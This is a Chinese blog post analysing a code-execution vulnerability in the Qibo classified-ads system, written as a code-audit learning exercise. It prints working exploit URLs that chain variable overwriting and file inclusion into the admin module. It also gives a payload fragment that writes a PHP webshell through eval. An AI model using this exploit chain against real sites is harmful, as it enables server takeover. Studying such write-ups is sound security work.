• 【漏洞分析 】齐博分类系统 代码执行


    参考资料:http://security.alibaba.com/blog/blog.htm?id=21

    在北京折腾了几天,总算安顿下来,也入职了~~趁着入职前两天不太忙,把之前欠下来的这个POC补了一下~~

    0x00 起

    这个漏洞总体说来,和二次SQL注入漏洞的成因差不多。由后台的某一个点插入到数据库中(插入时,进行了转义,不存在SQL注入),然后前台访问某一个页面,将变量放入了eval中执行。

    最近也想向代码审计方向走,所以尽可能的来复现一下通过审计发现漏洞的过程。主要工具是seay代码审计工具。

    0x10 承

    全局搜索eval,发现可疑点。

    打开代码,发现数据来自qibo_jfabout表

    打开jfabout表,发现存在这样的值:title=发表文章可得{$webdb[postArticleMoney]}个积分。看起来好像很有戏的样子,再搜一下有木有哪里可以添加东西到这个表里。

    OK,打开看看:

    有点儿不太好的感觉,虽然添加的时候没有经过过滤(注意,过滤和转义不同),但这个点竟然是在管理中心。

    搜索jfadmin_mod,发现是配置文件 /data/group/3.php。

    再搜索3.php,果然是在admin中包含进来的。

    漏洞突然变得鸡肋了。。好像就没有什么办法了呢。。

    0x20 转

    既然jfadmin_mod是通过文件包含引入的,那找找有木有文件包含漏洞好了。

    在跟进前两条之前,我们需要知道qibofenlei是怎样处理数据流($_GET、$_POST等)的,也是搜索一下 $_GET,通过文件名筛选一下得到我们想要的结果:

    进入文件之后:

    $_GET=Add_S($_GET);
    
    function Add_S($array){
        foreach($array as $key=>$value){
            @eregi("['\"]+",$key) && die('ERROR KEY!');
            if(!is_array($value)){            
                $value=str_replace("&#x","& # x",$value);    //¹ýÂËһЩ²»°²È«×Ö·û
                $value=preg_replace("/eval/i","eva l",$value);    //¹ýÂ˲»°²È«º¯Êý
                !get_magic_quotes_gpc() && $value=addslashes($value);
                $array[$key]=$value;
            }else{
                $array[$key]=Add_S($array[$key]); 
            }
        }
        return $array;
    }
    
    foreach($_GET AS $_key=>$_value){
        $_key=='GLOBALS' && die('error get value!');
        !ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key];
    }

    POST、COOKIE同理。相当于把http://test.com/index.php?id=1中的$_GET['id']提取成$id。这种方法毫无疑问,是存在很大的安全隐患的。隐隐约约记得看过qibo的漏洞,是没有对key做过滤,造成覆盖全局变量,修复的方法应该就是添加了这样一句话:

    !ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key];

    我们接下来会用到的,就是通过变量覆盖,来引入上文中会用到的变量。

    0x30 合

    现在,我们的目标就是通过search.php中的文件包含漏洞把admin.php包含进来,然后把恶意数据写到数据库中。

    我们尝试直接包含admin.php:

    http://127.0.0.1:8080/test/qibofenlei/search.php?action=search&keyword=1&postdb[city_id]=../../hack/jfadmin/admin

    通过print变量,可以看出文件成功包含。进一步:

    http://127.0.0.1:8080/test/qibofenlei/search.php?action=search&keyword=1&postdb[city_id]=../../hack/jfadmin/admin

    &action=addjf&Apower[jfadmin_mod]=1

    成功进到执行query的地方。进一步:

    http://127.0.0.1:8080/test/qibofenlei/search.php?action=search&keyword=1&postdb[city_id]=../../hack/jfadmin/admin

    &action=addjf&Apower[jfadmin_mod]=1

    &fid=111&title=test&content=fdafds&list=23333

    查看数据库添加成功~~

    然后把content改成${@fwrite(fopen('%d.php', 'w+'),即可写入恶意代码。

    访问/do/jf.php 即可生成木马。

  • 相关阅读:
    线段树合并
    bzoj 3675 [Apio2014]序列分割
    模版总结【长期更新】
    动态规划的题目总结(长期更新)
    搜索(另类状态BFS):NOIP 华容道
    贪心(模拟费用流):NOIP2011 观光公交
    基础算法(二分,贪心):NOIP 2012 疫情控制
    模拟(堆):USACO Jan11 瓶颈
    搜索(DLX重复覆盖模板):HDU 2295 Radar
    数学:lucas定理的总结
  • 原文地址:https://www.cnblogs.com/kuoaidebb/p/4638317.html
Copyright © 2020-2023  润新知